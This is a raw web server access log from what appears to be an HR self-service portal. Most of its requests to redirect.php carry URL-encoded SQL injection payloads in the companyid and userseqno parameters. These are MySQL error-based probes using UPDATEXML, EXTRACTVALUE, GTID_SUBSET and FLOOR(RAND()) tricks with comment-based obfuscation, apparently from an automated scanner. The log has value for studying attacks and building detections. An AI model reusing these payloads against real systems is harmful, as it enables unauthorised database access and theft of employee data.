100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x63303669%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x476b3153%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x63303669%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x476b3153%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x52364865%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7175644f%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x52364865%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7175644f%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x42707554%2C%28NULL%29%2C0x74736c45%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x42707554%2C%28NULL%29%2C0x74736c45%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x454f4733%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f746c51%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x454f4733%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f746c51%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4a684958%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59305a4e%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4a684958%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59305a4e%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x58534c46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x494e6938%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x58534c46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x494e6938%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7a576566%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75387a52%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x7a576566%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75387a52%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7836465a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38504e39%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7836465a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38504e39%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x66414b34%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39675730%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x66414b34%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39675730%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x41695172%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34547839%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x41695172%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34547839%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x72647039%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484b3479%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x72647039%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484b3479%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x524d6369%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a656773%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x524d6369%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a656773%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x63303669%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x476b3153%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x52364865%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7175644f%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4e656d5a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71576933%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4e656d5a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71576933%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x77494a77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61524139%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x77494a77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61524139%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6656694c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4763474e%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:20 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6656694c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4763474e%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538 HTTP/1.1" 200 5915
